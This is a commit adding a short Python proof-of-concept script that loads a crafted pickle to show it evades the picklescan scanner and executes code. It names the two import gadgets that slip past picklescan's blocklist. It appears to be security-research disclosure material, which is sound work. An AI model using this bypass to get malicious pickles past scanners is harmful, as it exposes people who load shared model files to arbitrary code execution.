Add verify_rce.py
Browse files- verify_rce.py +21 -0
verify_rce.py
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: Verify RCE from picklescan-bypassing pickle file.
|
| 3 |
+
|
| 4 |
+
This loads bypass_importlib.pkl which picklescan reports as clean (0 issues)
|
| 5 |
+
and demonstrates arbitrary code execution.
|
| 6 |
+
|
| 7 |
+
Usage:
|
| 8 |
+
python create_payload.py # Create bypass_importlib.pkl first
|
| 9 |
+
python verify_rce.py # This script - executes code
|
| 10 |
+
"""
|
| 11 |
+
import pickle
|
| 12 |
+
|
| 13 |
+
print("[*] Loading bypass_importlib.pkl (picklescan reports 0 issues)...")
|
| 14 |
+
print("[*] This file only uses importlib.import_module and xmlrpc.server.resolve_dotted_attribute")
|
| 15 |
+
print("[*] Neither is in picklescan's _unsafe_globals blocklist\n")
|
| 16 |
+
|
| 17 |
+
with open("bypass_importlib.pkl", "rb") as f:
|
| 18 |
+
result = pickle.load(f)
|
| 19 |
+
|
| 20 |
+
print(f"\n[+] Code execution demonstrated.")
|
| 21 |
+
print("[+] The pickle bypassed picklescan's dangerous import detection.")
|